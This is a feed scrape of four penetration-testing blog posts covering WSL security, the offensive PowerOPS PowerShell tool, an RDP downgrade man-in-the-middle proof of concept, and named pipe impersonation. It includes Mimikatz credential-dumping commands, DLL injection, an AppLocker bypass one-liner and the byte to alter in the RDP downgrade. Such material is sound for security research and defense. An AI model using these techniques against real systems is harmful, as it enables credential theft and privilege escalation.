Exploring Windows Subsystem for Linux https://labs.portcullis.co.uk/blog/exploring-windows-subsystem-for-linux/ https://labs.portcullis.co.uk/blog/exploring-windows-subsystem-for-linux/#comments Thu, 27 Jul 2017 09:00:04 +0000 https://labs.portcullis.co.uk/?p=5869 Whilst there has been quite a lot of analysis of Microsoft’s new Windows Subsystem for Linux (aka WSL or Bash on Ubuntu on Windows) and how it functions (particularly from Alex Ionescu), most of this has focused on how it affects the Windows security model. Being a keen UNIX focused researcher, I decided to take […]

The post Exploring Windows Subsystem for Linux appeared first on Portcullis Labs.

]]>
Whilst there has been quite a lot of analysis of Microsoft’s new Windows Subsystem for Linux (aka WSL or Bash on Ubuntu on Windows) and how it functions (particularly from Alex Ionescu), most of this has focused on how it affects the Windows security model. Being a keen UNIX focused researcher, I decided to take it for a spin.

The first thing I did once I had it installed was look at how the Windows process tree had changed. Running it results in two new branches to your process tree. The first contains the Windows bash.exe instance which hosts your new terminal:

  • explorer.exe (runs as your user):
    • bash.exe (runs as your user):
      • conhost.exe (runs as your user)

Whilst the second contains the Linux process tree:

  • svchost.exe (runs as SYSTEM):
    • init (runs as your user, no disabled privileges, locked into a job):
      • bash (runs as your user, disabled privileges, locked into a job, break away set to true)

As you might expect, new code compiled to support this is well hardened and uses Windows 10′s advanced mitigations. Specifically, bash.exe has the following mitigations enabled:

  • DEP enabled
  • ASLR high entropy, bottom up
  • CFG enabled

Digging a little further, the same can’t be said for init, bash and other parts of the Linux process tree. Whilst DEP is enabled, ASLR and CFG are not. In fairness, this shouldn’t come as any great surprise – they’re Ubuntu packaged binaries however it does start to show show how introducing WSL to your system can change the systems posture.

The kernel

So what does the “kernel” version look like. Well, at the point I examined it:

x@DESKTOP-L4857K3:~$ uname -a
Linux DESKTOP-L4857K3 3.4.0+ #1 PREEMPT Thu Aug 1 17:06:05 CST 2013 x86_64 x86_64 x86_64 GNU/Linux

This version of the Linux kernel should be vulnerable to dirty cow, so what of it? It doesn’t work which again isn’t a huge surprise. As Alex has alluded to there is a quite a substantial amount of mapping going on to implement the Linux system calls on Windows and whilst they should be API compatible, the implementations between a real Linux kernel and what WSL gives up may be quite different.

This does however bring up the first critical point: There is no relationship between the patches supplied as part of Windows Update and what goes on with WSL. If you don’t patch regularly you’ll still be vulnerable to a whole plethora of Ubuntu (userland) vulnerabilities.

Memory corruption mitigations

Some Linux mitigations are in play however (as they would be on any real Ubuntu system) as can be seen with checksec.sh:

  • System-wide ASLR (kernel.randomize_va_space): On (Setting: 2)
  • Does the CPU support NX: Yes

And of course binaries are compiled with whatever Ubuntu hardening is currently supported:

	COMMAND    PID RELRO             STACK CANARY           NX/PaX        PIE
	  init      1 Full RELRO        Canary found           NX enabled    Dynamic Shared Object
	  sudo     14 Partial RELRO     Canary found           NX enabled    Dynamic Shared Object
	    su     15 Partial RELRO     Canary found           NX enabled    No PIE
	  bash     16 Partial RELRO     Canary found           NX enabled    No PIE
	  bash      2 Partial RELRO     Canary found           NX enabled    No PIE

Shared memory

So what does WSL look like more generally. Well, since I’ve had some fun with shared memory, I wondered how this was implemented. Well, it turns out that it’s not:

root@DESKTOP-L4857K3:~# ipcs

kernel not configured for shared memory

kernel not configured for semaphores

kernel not configured for message queues

Whether this will have any security implications, it’s difficult to say but at the very least it may stop certain applications from working. Other applications may revert to using other less well tested IPC mechanisms which may expose security issues along the way.

Debugging

Moving on, how about debugging something. A simple tool which exercises the ptrace() system call is strace. Here’s what happens when strace is run on a normal process:

root@DESKTOP-L4857K3:/sys# strace -f printf "test" 2>&1 | head -n 5
execve("/usr/bin/printf", ["printf", "test"], [/* 15 vars */]) = 0
brk(0)                                  = 0xa9d000
...

However you can’t strace PID 1 (as would have been possible on real Linux), instead ptrace() returns an error: “Operation not permitted”.

File systems

Whilst /mnt doesn’t show up as a different file system, /mnt/c is actually used to map the underlying Windows system disk. This is immediately peculiar since it is mapped with permissions of 0777 (world readable, world writable amongst others). Moreover any files created under it are created with an owner of root. You’d think this might be a problem but from what I’ve seen so far, assuming the Windows file permissions are set right then (because everything (even setUID processes) runs as you from Windows’ perspective) you won’t be able to access anything inappropriate (think SAM etc). It. Just. Looks. Weird.

Furthermore, the way that WSL implements umasks too is an oddity. umask doesn’t work on all file system types and in particular the aforementioned /mnt/c. Observe the following:

root@DESKTOP-L4857K3:/# umask 666
root@DESKTOP-L4857K3:/# touch foo
root@DESKTOP-L4857K3:/# ls -la foo
---------- 1 root root 0 Mar 28 23:10 foo
root@DESKTOP-L4857K3:~# rm foo
root@DESKTOP-L4857K3:~# cd /mnt/c/Users/x/
root@DESKTOP-L4857K3:/mnt/c/Users/x# touch foo
root@DESKTOP-L4857K3:/mnt/c/Users/x# ls -la foo
-rwxrwxrwx 1 root root 0 Mar 28 23:10 foo

Umask is honoured in the first location but not the second (a umask of 0666 should mean that files are created with no permissions). Whilst there’s a fundamental Windows reason why this is the case, there is nothing to indicate this to the Ubuntu instance’s userland and thus files created within your home directory might be created with undesirable permissions. Microsoft are tracking this in the GitHub as issue 352.

Authentication

Unlike on a real Ununtu there’s no terminal level authentication (whilst user accounts within the Ubuntu instance do have passwords, they’re not needed unless you want to access the system remotely or gain root privileges via sudo). Moreover, from Windows’ perspective there is no difference between UID 0 and UID 1000. You can start a terminal and then use sudo to elevate your privileges and Windows will be none the wiser (Linux capabilities aren’t mapped into Windows user rights or special tokens). That might mean that users won’t care too much about their Ubuntu instance’s passwords but as you can imagine with no password policy enforcement, users might be tempted to reuse their Windows passwords.

I should also note that whilst sudo prompts for a password on each new instance of bash.exe/conhost.exe pair hosting a terminal however if you authenticate to sudo, close the terminal and then reopen it, then your sudo ticket may still be valid – this requires exact co-ordination as sudo sessions are tracked by PID, however the first terminal opened will always have a Linux bash process with a PID of 2 which may well be blessed from a previous sudo session.

Privileges

Finally, as per issue issue 561, because everything runs as you from Windows’ perspective, the only way to successfully execute ping (which requires an ICMP raw socket on Linux) is to run bash.exe in elevated mode (as Administrator). This, despite the fact that a non-elevated user can quite happily execute ping on the Windows host. WSL doesn’t even implement concept of root in any real sense, let along implement the necessary Linux syscalls to support capabilities in any useful fashion. This in turn means that everything else spawned from the elevated shell also runs with Windows administrative privileges. For comparison, here’s what the new branches of your process tree will look like:

  • wininit.exe.exe (runs as SYSTEM):
    • services.exe (runs as SYSTEM):
      • svchost.exe (runs as SYSTEM):
        • RuntimeBroker.exe (runs as your user, disabled privileges, not elevated):
          • bash.exe (runs as your user, disabled privileges, elevated):
            • conhost.exe (runs as your user, disabled privileges, elevated)

The first contains the Windows bash.exe instance which hosts your new terminal, whilst the second contains the Linux process tree:

  • svchost.exe (runs as SYSTEM):
    • init (runs as your user, no disabled privileges, locked into a job, elevated):
      • bash (runs as your user, disabled privileges, locked into a job, break away set to true, elevated):
        • sudo (runs as your user, disabled privileges, locked into a job, break away set to true, elevated):
          • ping (runs as your user, disabled privileges, locked into a job, break away set to true, elevated)

Microsoft’s stock answer is that the Ubuntu instance (or rather the bash.exe instance hosting the terminal and accompanying lxss.sys kernel implementation) is locked down, effectively sandboxed by a combination of Windows DACLs, the concept of jobs (touched upon at the start and akin to Linux cgroups) and syscall mapping that effectively uses lxss.sys to proxy most syscalls onto their corresponding NT kernel implementation.

Conclusion

The design of WSL seems to be relatively robust if slightly odd, however time will tell, particularly if offensive teams pick up the whiff of a new opportunity. If nothing else, take this article as a reminder that WSL should not be considered a security boundary and that it will remain unmanaged irrespective of how you administer your Windows hosts.

The post Exploring Windows Subsystem for Linux appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/exploring-windows-subsystem-for-linux/feed/ 0
PowerOPS: PowerShell for Offensive Operations https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/ https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/#comments Fri, 03 Jun 2016 12:17:41 +0000 https://labs.portcullis.co.uk/?p=5467 At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network. Sometimes we find harsh group policy restrictions in place […]

The post PowerOPS: PowerShell for Offensive Operations appeared first on Portcullis Labs.

]]>
At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network.

Sometimes we find harsh group policy restrictions in place that block access to the Windows Command Prompt, PowerShell, among others. These, however, are not always properly implemented, i.e. they do not block access to all executables (and allow only certain programs to run).

After getting command execution, we want to attack other systems on the network. However it isn’t always easy to get a flexible toolbox in the system that allow us to gather information and launch further attacks. PowerShell is our preferred post-exploitation language and powershell.exe access is usually blocked (as .ps1 scripts). However since the block is often incorrectly implemented, i.e. the DLLs used by PowerShell aren’t usually blocked, this can open some doors. On top of that some AVs started implementing some basic signatures that will pick some well known PowerShell scripts. The bypass is trivial but we want to be as stealthy as possible and it still delay us a bit.

How can we bypass some of these “security mitigations” and speed up our tests? PowerOPS is an application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell runspace environment (.NET). Besides this, it includes multiple offensive PowerShell modules to make the process of post-exploitation easier.

It tries to follow the KISS principle, being as simple as possible. The main goal is to make it easy to use PowerShell offensively and help to evade Anti-Virus and other mitigations.

To do this, it:

  • Doesn’t rely on powershell.exe, it calls PowerShell directly through the .NET framework, which might help bypassing security controls like GPO, SRP and App Locker
  • Powershell functions within the Runspace are loaded in memory from Base64 Encoded Strings and never touch disk, evading most Anti-Virus engines

What’s inside the runspace?

PowerShellMafia/Powersploit

  • Get-Keystrokes
  • Invoke-DllInjection
  • Invoke-Mimikatz
  • Invoke-NinjaCopy
  • Invoke-Shellcode
  • Invoke-ReflectivePEInjection
  • Invoke-TokenManipulation
  • Invoke-WMICommand
  • PowerUp
  • PowerView

Nishang

  • Get-Information
  • Get-PassHashes
  • Port-Scan

Auto-GPPPassword

PowerCat

Get-ProductKey

Empire

  • Invoke-Psexec
  • Invoke-SSHCommand

Additionally you can run any valid PowerShell command.

Where to get it?

The source code is available at GitHub.

How to compile it

To compile PowerOPS you need to import this project within Microsoft Visual Studio or if you don’t have access to a Visual Studio installation, you can compile it as follows:

To compile it as an x86 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x86.exe /platform:x86 "C:\path\to\PowerOPS\PowerOPS\*.cs"

To compile it as an x64 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x64.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

PowerOPS uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.

How to use it

Just run the binary and type show to list available modules.

PS > show

[-] This computer is not part of a Domain! Some functions will not work!

[+] Nishang

 Get-Information    Get-PassHashes             Port-Scan

[+] PowerSploit

 Get-KeyStrokes     Invoke-DllInjection        Invoke-Mimikatz     Invoke-NinjaCopy
 Invoke-Shellcode   Invoke-TokenManipulation   Invoke-WmiCommand   Invoke-ReflectivePEInjection
 PowerView          PowerUp

[+] Empire

 Invoke-PsExec      Invoke-SSHCommand

[+] Others

 Auto-GPPPassword   Get-ProductKey             PowerCat

PS >

PowerUp and PowerView are loaded as modules, so Get-Command -module will show you all available functions.

PS > get-command -module powerup

CommandType     Name                                               ModuleName
-----------     ----                                               ----------
Function        Find-DLLHijack                                     PowerUp
Function        Find-PathHijack                                    PowerUp
Function        Get-ApplicationHost                                PowerUp
Function        Get-ModifiableFile                                 PowerUp
Function        Get-RegAlwaysInstallElevated                       PowerUp
Function        Get-RegAutoLogon                                   PowerUp
Function        Get-ServiceDetail                                  PowerUp
Function        Get-ServiceFilePermission                          PowerUp
Function        Get-ServicePermission                              PowerUp
Function        Get-ServiceUnquoted                                PowerUp
Function        Get-UnattendedInstallFile                          PowerUp
Function        Get-VulnAutoRun                                    PowerUp
Function        Get-VulnSchTask                                    PowerUp
Function        Get-Webconfig                                      PowerUp
Function        Install-ServiceBinary                              PowerUp
Function        Invoke-AllChecks                                   PowerUp
Function        Invoke-ServiceAbuse                                PowerUp
Function        Invoke-ServiceDisable                              PowerUp
Function        Invoke-ServiceEnable                               PowerUp
Function        Invoke-ServiceStart                                PowerUp
Function        Invoke-ServiceStop                                 PowerUp
Function        Restore-ServiceBinary                              PowerUp
Function        Test-ServiceDaclPermission                         PowerUp
Function        Write-HijackDll                                    PowerUp
Function        Write-ServiceBinary                                PowerUp
Function        Write-UserAddMSI                                   PowerUp

PS >

All your PowerShell fu applies. PowerOPS is basically a PowerShell shell with some modules/functions pre-loaded. So Get-Help is your friend and will help you to understand how the modules can be used.

Let’s say you want to see examples on how to use Invoke-Mimikatz.

PS > Get-Help Invoke-Mimikatz -examples

NAME
    Invoke-Mimikatz

SYNOPSIS
    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
    reflectively load Mimikatz completely in memory. This allows you to do
    things such as
    dump credentials without ever writing the mimikatz binary to disk.
    The script has a ComputerName parameter which allows it to be executed
    against multiple computers.

    This script should be able to dump credentials from any version of Windows
    through Windows 8.1 that has PowerShell v2 or higher installed.

    Function: Invoke-Mimikatz
    Author: Joe Bialek, Twitter: @JosephBialek
    Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog:
    http://blog.gentilkiwi.com. Email: benjamin@gentilkiwi.com. Twitter
    @gentilkiwi
    License:  http://creativecommons.org/licenses/by/3.0/fr/
    Required Dependencies: Mimikatz (included)
    Optional Dependencies: None
    Version: 1.5
    ReflectivePEInjection version: 1.1
    Mimikatz version: 2.0 alpha (2/16/2015)

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Execute mimikatz on the local computer to dump certificates.


    Invoke-Mimikatz -DumpCerts


    -------------------------- EXAMPLE 2 --------------------------

    C:\PS>Execute mimikatz on two remote computers to dump credentials.


    Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")


    -------------------------- EXAMPLE 3 --------------------------

    C:\PS>Execute mimikatz on a remote computer with the custom command
    "privilege::debug exit" which simply requests debug privilege and exits


    Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"


PS >

Or simply look at the whole help available for Invoke-DllInjection.

PS > Get-Help Invoke-DllInjection -full

NAME
    Invoke-DllInjection

SYNOPSIS
    Injects a Dll into the process ID of your choosing.

    PowerSploit Function: Invoke-DllInjection
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

SYNTAX
    Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>
    [<CommonParameters>]


DESCRIPTION
    Invoke-DllInjection injects a Dll into an arbitrary process.


PARAMETERS
    -ProcessID <Int32>
        Process ID of the process you want to inject a Dll into.

        Required?                    true
        Position?                    1
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false

    -Dll <String>
        Name of the dll to inject. This can be an absolute or relative path.

        Required?                    true
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?  false

    <CommonParameters>
        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (http://go.microsoft.com/fwlink/?LinkID=113216).

INPUTS

OUTPUTS

NOTES
        Use the '-Verbose' option to print detailed information.

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Invoke-DllInjection -ProcessID 4274 -Dll evil.dll


    Description
    -----------
    Inject 'evil.dll' into process ID 4274.

RELATED LINKS

http://www.exploit-monday.com

PS >

You can play around with the output…

PS > get-productkey

OSDescription        Computername        OSVersion           ProductKey
-------------        ------------        ---------           ----------
Microsoft Windows... VISUALSTUDIO        6.1.7601            ABCDE-54321-UVXY...



PS > get-productkey | format-list


OSDescription : Microsoft Windows 7 Professional N
Computername  : VISUALSTUDIO
OSVersion     : 6.1.7601
ProductKey    : ABCDE-54321-UVXYZ-12345-LMNOP

Save the output of your commands the way you want…

PS > invoke-allchecks | Out-File -Encoding ascii powerup.output.txt

PS > type powerup.output.txt

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable .dll locations...

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for vulnerable registry autoruns and configs...

[*] Checking for vulnerable schtask files/configs...

[*] Checking for unattended install files...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

PS >

Do some math…

PS > $a=1

PS > $b=4

PS > $c=$a+$b

PS > echo $c
5

Browse the file system…

PS > cd c:\

PS > ls

    Directory: C:\

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        14/02/2016     17:21            bin
d----        17/02/2016     15:02            Dev-Cpp
d----        14/07/2009     04:20            PerfLogs
d-r--        26/04/2016     20:00            Program Files
d-r--        26/04/2016     20:00            Program Files (x86)
d----        19/02/2016     21:06            Python27
d-r--        26/11/2015     17:20            Users
d----        12/05/2016     15:53            Windows
-a---        19/03/2010     23:55    2073703 VS_EXPBSLN_x64_enu.CAB
-a---        19/03/2010     23:58     551424 VS_EXPBSLN_x64_enu.MSI

PS > pwd

Path
----
C:\

PS >

And so on…

PowerShell v5 is coming with some new security features that will certainly affect some of the payloads contained in PowerOPS, so further development is expected as well as addition of new attack modules.

AppLocker bypass

PowerOPS includes the InstallUtil AppLocker bypass technique from Casey Smith. To make use of it run as shown below:

C:\> cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\> InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\PowerOPS.exe

Credits

PowerOPS was inspired by Cn33liz/p0wnedShell, and basically consists of work from Nikhil Mittal of Nishang, mattifiestation of PowerSploit and sixdub, engima0x3 and harmj0y of Empire.

The post PowerOPS: PowerShell for Offensive Operations appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/powerops-powershell-for-offensive-operations/feed/ 0
Downgrading RDP connections and how to avoid it https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/ https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/#comments Fri, 22 Apr 2016 15:18:17 +0000 https://labs.portcullis.co.uk/?p=1488 This post describes how Remote Desktop Protocol (RDP) connections can be vulnerable to a downgrade attack if Terminal Servers are configured insecurely. We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here. […]

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

]]>
This post describes how Remote Desktop Protocol (RDP) connections can be vulnerable to a downgrade attack if Terminal Servers are configured insecurely.

We’re not aware of this issue being discussed before – googling only found pages about installing an earlier version of the RDP client, not about downgrading the protocol in the way described here.  We suspect that it’s a known limitation of the protocol.  But it’s one that we though would be interesting to post about.

In this post we provide a demonstration of such a downgrade attack using the aptly named PoC tool rdp-downgrade.py.

RDP Security Layer

Before discussing the downgrade attack, we should outline what we’ll be downgrading from and to.

The following Security Layers are available in the RDP protocol. Support for each can be configured on the Terminal Server:

  • Classic RDP Protocol - this is known as “RDP Security Layer” in the tscc.msc configuration tool and PROTOCOL_RDP in the protocol specification (see page 40 of PDF)
  • SSL - this is labelled “SSL” or “SSL (TLS 1.0)” in the GUI and called PROTOCOL_SSL in the protocol specification
  • CredSSP - this is what you get when you check the ”Network Layer Authentication” box. It also uses uses SSL. It is called PROTOCOL_HYBRID in protocol specification

The first option is the insecure one. If this protocol were to be negotiated, the connection would be vulnerable to a well known “Man-In-The-Middle” attack.  Essentially, someone carrying out this attack would be able to see all your key strokes and any other data passed between client and server. This will therefore be the protocol we’ll be downgrading to.

The last two options are both SSL-wrapped and are more secure.  It will be these protocols that we’ll be downgrading from.

How to tell which security layer you connected with

The various warnings displayed by the Terminal Services client, mstsc.exe can be used as a crude way to identify which protocol is being used.

Classic RDP

Note that the warning message about not being able to authenticate the server tallies with the MiTM attack described above.

classic-rdp
image-1489

Warning For Classic RDP Connections

SSL

Unless you’ve configured your host to trust the SSL certificate of the RDP server, you’ll see a certificate warning like this one:

ssl-warning
image-1490

Warning for (Non-CredSSP) SSL Connections

CredSSP (NLA + SSL)

You get prompted for your username and password by a pop-up window – whereas Classic RDP and SSL both use a full Windows Desktop for password entry.

gaejegba
image-1491

Dialogue Box For NLA Connections

Vulnerable configuration

Terminal Servers set to negotiate their Security Layer are potentially vulnerable to a downgrade attack. Here we view the settings on a Windows 2003 server, but this also holds for newer versions of Windows:

2003-rdp-setting-vulnerable
image-1492

The downgrade attack

We will connect to a Windows 2003 RDP server configured to “Negotiate” its Security Layer.  We’ll connect from a modern windows system that supports Classic RDP, SSL and NLA. This server only supports Classic RDP and SSL. As we’d hope, the two will normally negotiate the most secure option supported by both: SSL.

During this attack we will modify network traffic to make the server believe the client only supports Classic RDP. We could intercept traffic using ARP-poisoning or DNS spoofing or some other method.

After connecting to TCP port 3389, the client (mstsc) sends data similar to the following (shown in hex):

03 00 00 13 0e e0 00 00 00 00 00 01 00 08 00 *03* 00 00 00

The 03 is the protocols supported by the client. Several values are possible in this position:

  • 00 – Only Classic RDP is supported
  • 01 – SSL is supported in addition to Classic RDP.
  • 03 – CredSSP is supported in addition to the other two protocols.

This is described on page 37 of the protocol specification.

So our proof-of-concept simply replaces the 03 with 00 to cause the client and server to negotiate Classic RDP instead of SSL.

We set our tool listening on 192.168.190.170 on TCP port 3389. We instruct it to forward traffic to 192.168.2.96.

$ python rdp-downgrade.py 192.168.2.96
[Proxy] Listening for connections on 0.0.0.0:3389

Rather than actually doing ARP-spoofing, I just connect directly to the “Man-In-The-Middle” in this demo:

rdp-attack-prior-to-logon
image-1493

Attacker IP Address Is Entered

Back in our PoC tool, we then see an incoming connection from the RDP client (192.168.190.1) and the proxy making an outgoing connection to the target server:

[Proxy] Incoming connection from 192.168.190.1:58715
[Proxy] New outgoing request to 192.168.2.96:3389
[Proxy] Connected

Next we see 19 bytes from the client – note the 03 near the end of the data from the client. This is recognised by our PoC tool and it prints a message to inform us the 03 has been changed to 00:

[From 192.168.190.1] Received 19 bytes
0000 03 00 00 13 0E E0 00 00 00 00 00 01 00 08 00 03 ................
0010 00 00 00 ...
[From 192.168.190.1] Modified data to downgrade connection

Then we see traffic flow freely without further modification:

[From 192.168.2.96] Received 19 bytes
0000 03 00 00 13 0E D0 00 00 12 34 00 02 00 08 00 00 .........4......
0010 00 00 00 ...
...snip...

mstsc shows us the warning message corresponding to a Classic RDP connection, proving that the downgrade has been successful – remember that we would normally expect a certificate warning for the SSL-wrapped RDP connection.

classic-rdp
image-1489

Warning Message For Classic RDP Connection

Conclusion

Configuring the Terminal Server to use SSL for it security layer instead of “Negotiate” prevents such a downgrade attack.

Vendor contact

We were not sure if Microsoft would consider this worthy of a security advisory. We didn’t think so, but sent them a preview of this post before publishing and asked.

Microsoft who responded swiftly to confirm that “After researching the issue, we consider this behavior to be By Design”. They thanked us for our commitment to co-ordinated disclosure and gave their blessing to proceed with publication.

The post Downgrading RDP connections and how to avoid it appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/downgrading-rdp-connections-and-how-to-avoid-it/feed/ 0
Windows Named Pipes: There and back again https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/ https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/#comments Fri, 20 Nov 2015 14:04:20 +0000 https://labs.portcullis.co.uk/?p=5378 Inter Process Communication (IPC) is an ubiquitous part of modern computing. Processes often talk to each other and many software packages contain multiple components which need to exchange data to run properly. Named pipes are one of the many forms of IPC in use today and are extensively used on the Windows platform as a […]

The post Windows Named Pipes: There and back again appeared first on Portcullis Labs.

]]>
Inter Process Communication (IPC) is an ubiquitous part of modern computing. Processes often talk to each other and many software packages contain multiple components which need to exchange data to run properly. Named pipes are one of the many forms of IPC in use today and are extensively used on the Windows platform as a means to exchange data between running processes in a semi-persistent manner.

On Windows, named pipes operate in a server-client model and can make use of the Windows Universal Naming Convention (UNC) for both local and remote connections.

Named pipes on Windows use what is known as the Named Pipe File System (NPFS). The NPFS is a hidden partition which functions just like any other; files are written, read and deleted using the same mechanisms as a standard Windows file system. So named pipes are actually just files on a hard drive which persist until there are no remaining handles to the file, at which point the file is deleted by Windows.

The named pipe directory is located at: \\<machine_address>\pipe\<pipe_name>

There are many easy ways to read the contents of the local NPFS: Powershell, Microsoft SysInternals Process Explorer and Pipelist as well as numerous third party tools.

It’s also very easy to implement in a language such as C#, with a basic read all of the named pipes directory being as simple as:

System.IO.Directory.GetFiles(@"\\.\pipe\");

Exploitation of named pipes

Named pipes were introduced with NT and have been known to be vulnerable to a number of attacks over the years, especially once full support was adopted with Windows 2000. For example, the Service Control Manager (SCM) of Windows was discovered to be vulnerable to race conditions related to Named Pipes in 2000, more recently, a predictable named pipe used by Google Chrome could be exploited to help escape from the browser sandbox.

To date,the most common way to exploit named pipes to gain privileges on a system has been to abuse the impersonation token granted to the named pipe server to act on behalf of a connected client.

If the named pipe server is already running this is not particularly useful as we cannot create the primary server instance which clients will connect to, so it is generally required to preemptively create a named pipe server using the same name as the vulnerable service would normally create. This means that the user needs to know the name of the pipe before the vulnerable service is started and then wait for a client to connect. Ideal targets are services which run at administrator or SYSTEM level privileges, for the obvious reasons.

The problem with impersonation tokens begins when a client is running at a higher permission level than the server it is connecting to. If impersonation is allowed, the server can use the impersonation token to act on the client’s behalf.

The level of impersonation a server can perform depends on the level of consent a client provides. The client specifies a security quality of service (SQOS) when connecting to the server. The level of impersonation provided to the server by the SQOS can be one of the following four flags, which in the case of named pipes are provided as part of the connection process when calling the CreateFile function:

  • SECURITY_ANONYMOUS – no impersonation allowed at all. The server cannot even identify the client
  • SECURITY_IDENTIFICATION – tmpersonation is not allowed, but the server can identify the client
  • SECURITY_IMPERSONATION – the client can be both identified and impersonated, but only locally (default)
  • SECURITY_DELEGATION – the client can be identified and impersonated, both locally and remotely

When granted, impersonation tokens can be converted to primary security tokens with ease by calling the DuplicateTokenEx() function. From here it is just a matter of calling the CreateProcessAsUser() function to spawn a process (let’s say cmd.exe) using the new primary token which has the security context of the client.

Numerous Metasploit modules are available for exploiting named pipe vulnerabilities which have cropped up over the years. For example, the getsystem module in Metasploit makes use of named pipes to escalate to SYSTEM level privileges from Administrator.

Metasploit includes 2 different techniques which use named pipes to ‘get system’. The first one works by starting a named pipe server and then using administrator privileges to schedule a service to run as SYSTEM. This service connects as a named pipe client to the recently created server. The server impersonates the client and uses this to spawn a SYSTEM process for the meterpreter client.

The second technique is similar to the first, but instead a DLL is dropped to the hard drive which is then scheduled to run as SYSTEM, this technique is evidently not as clean as the first technique.

Thanks to Cristian Mikehazi for his prior research in to Metasploit’s getsystem module which made this section easier to write.

Security considerations for Named Pipes / How to make safe pipes

The security of named pipes is largely down to the developer and how they choose to implement the server and client sides of the application.

This is by no means an exhaustive list, but below details some of the good practices which should be considered whenever named pipes are to be deployed.

Server side security

The named pipe server is responsible for creating and managing a named pipe and its connected clients. Therefore, the most important element is to ensure that the named pipe server is indeed the correct server.

In this effect, there is an important flag which should be set when attempting to start new named pipe server: FILE_FLAG_FIRST_PIPE_INSTANCE.

By setting this flag it ensures that if the instance the server is attempting to create is not the first instance of the named pipe, it does not create the instance. In other words, it can give an indication as to whether another process has already created a named pipe server with this name and can allow for corrective action. This could be in the form of creating the server with an alternate name or stopping execution entirely.It is also a good idea that any intended clients are also made aware, if possible, that the server instance is not valid or has been changed so that they do not attempt to connect.

Further to this, creation of a named pipe server with a pseudo-randomly generated name can assist in ensuring any attempt by an attacker to preemptively create the server process will be unsuccessful. This is an approach the Google Chrome browser uses to help thwart unintended processes from creating the named pipe servers it uses for communication.

Another important server element is the maximum number of client instances allowed at any one time. If the maximum number of potential clients which will connect is known, a hard figure should be set to ensure that no further clients can connect. The flag which defines the maximum number of concurrent pipe instances is set as an integer value between 1 and 255 at invocation. To allow unlimited connections, the flag is set to PIPE_UNLIMITED_INSTANCES.

Client side security

Whenever a client pipe is under development, it is extremely important to consider carefully the level of privileges the pipe needs to do its job and to run it at the minimum level required.

The primary source of exploits against named pipes is through the  impersonation of client privileges by the named pipe server. The easiest and most direct way to prevent a named pipe client from being impersonated is disallow pipe impersonation when connecting to a server. This can be achieved by setting the SECURITY_IDENTIFICATION flag or the SECURITY_ANONYMOUS flag when calling the CreateFile() function as part of the client connection process.

In cases where impersonation is necessary, there are a number of other ways to ensure that only a legitimate client connects to a server. For example, in a simple application a specific sequence of information could be exchanged between the server and the client (a handshake) before any actual data is exchanged. For more advanced protection, encryption could be used. While not natively supported, public key cryptography (PKI) could be used if implemented correctly. These mechanisms are beyond the scope of this post but are worth bearing in mind.

The post Windows Named Pipes: There and back again appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/feed/ 0